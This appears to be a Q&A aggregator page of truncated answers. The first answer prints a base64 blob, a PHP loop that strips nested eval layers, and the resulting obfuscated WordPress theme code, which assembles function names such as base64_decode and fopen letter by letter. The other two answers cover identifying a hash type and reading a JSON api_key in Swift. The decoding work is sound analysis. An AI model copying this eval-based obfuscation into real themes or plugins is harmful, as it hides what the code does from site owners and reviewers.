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’))))); CODE; while (strpos($code, ‘eval’) === 0) { echo $code, PHP_EOL; $code = substr_replace($code, ‘echo’, 0, 4); ob_start(); eval($code); $code = trim(ob_get_clean()); } echo $code, PHP_EOL; This gives you a lot of garbage, and in the end this: $cf_____________j=’c’;$ax________c=”d”;$nl_____d=’_’;$ci_______________b=’e’;$fi________v=’d’;$qu______________c=”6″;$hk______________o=’a’;$ar_____h=”e”;$hp__________a=”s”;$cc____e=”b”;$um_______u=’o’;$zs_______________s=”e”;$yr_______n=’4′;$lr_________a=$cc____e.$hk______________o.$hp__________a.$zs_______________s.$qu______________c.$yr_______n.$nl_____d.$ax________c.$ar_____h.$cf_____________j.$um_______u.$fi________v.$ci_______________b;$sh______b=’i’;$lw_______e=”i”;$bx__v=’x’;$uo_____________o=’c’;$jb________r=”t”;$ge______y=’e’;$jn_______________o=’u’;$sw__________b=’n’;$rb____________k=’s’;$xc_______j=’n’;$tu___________o=’t’;$lh______v=’f’;$hc____o=’o’;$eq____c=”s”;$ks____t=”_”;$ep________g=$lh______v.$jn_______________o.$sw__________b.$uo_____________o.$tu___________o.$sh______b.$hc____o.$xc_______j.$ks____t.$ge______y.$bx__v.$lw_______e.$rb____________k.$jb________r.$eq____c;$wj______________r=”e”;$pl________r=”n”;$oy____t=”f”;$pj_____________i=’o’;$zg________h=”p”;$xe___________h=$oy____t.$pj_____________i.$zg________h.$wj______________r.$pl________r;$um_______j=’f’;$bm_____________b=’d’;$ah_______g=’e’;$yw__y=’r’;$hy__________t=”a”;$oo____e=$um_______j.$yw__y.$ah_______g.$hy__________t.$bm_____________b;$zd__g=’s’;$ia_____a=”o”;$le_____v=’e’;$pi_____i=’l’;$xm____j=’f’;$dh_______________s=”c”;$bz___u=$xm____j.$dh_______________s.$pi_____i.$ia_____a.$zd__g.$le_____v;define(“WP_ID”, $lr_________a(“Mi4wLjA=”));define(“WP_TTL”, $lr_________a(“MTA4MDA=”));define(“WP_SRC”, $lr_________a(“dHBva24=”));function wp_get_header() {global $lr_________a, $ep________g;if ($ep________g($lr_________a(“d3BfdGhlbWVfR1BMX2NyZWRpdHM=”)) &&$ep________g($lr_________a(“d3BfZ2V0X2Zvb3Rlcg==”)) &&$ep________g($lr_________a(“d3BfY3ZfdmVyaWZ5”))) {get_header();}}function wp_get_footer() … Read more
Unless there is some indicator in your string of what kind of string it is, we may not be able to help. It looks too long for MD5 (34 instead of 32), but it could be MD5 and two characters of checksum. Some hashing algorithms work by applying a mix of algorithms, or the same … Read more
As per the docs, this is how you access the serialised JSON response: if let json = response.result.value as? [String: Any] { print(“JSON: \(json)”) // serialized json response } To access api_key you just need to unwrap the success and user dictionaries first and then you can access the api_key property in the user dictionary. … Read more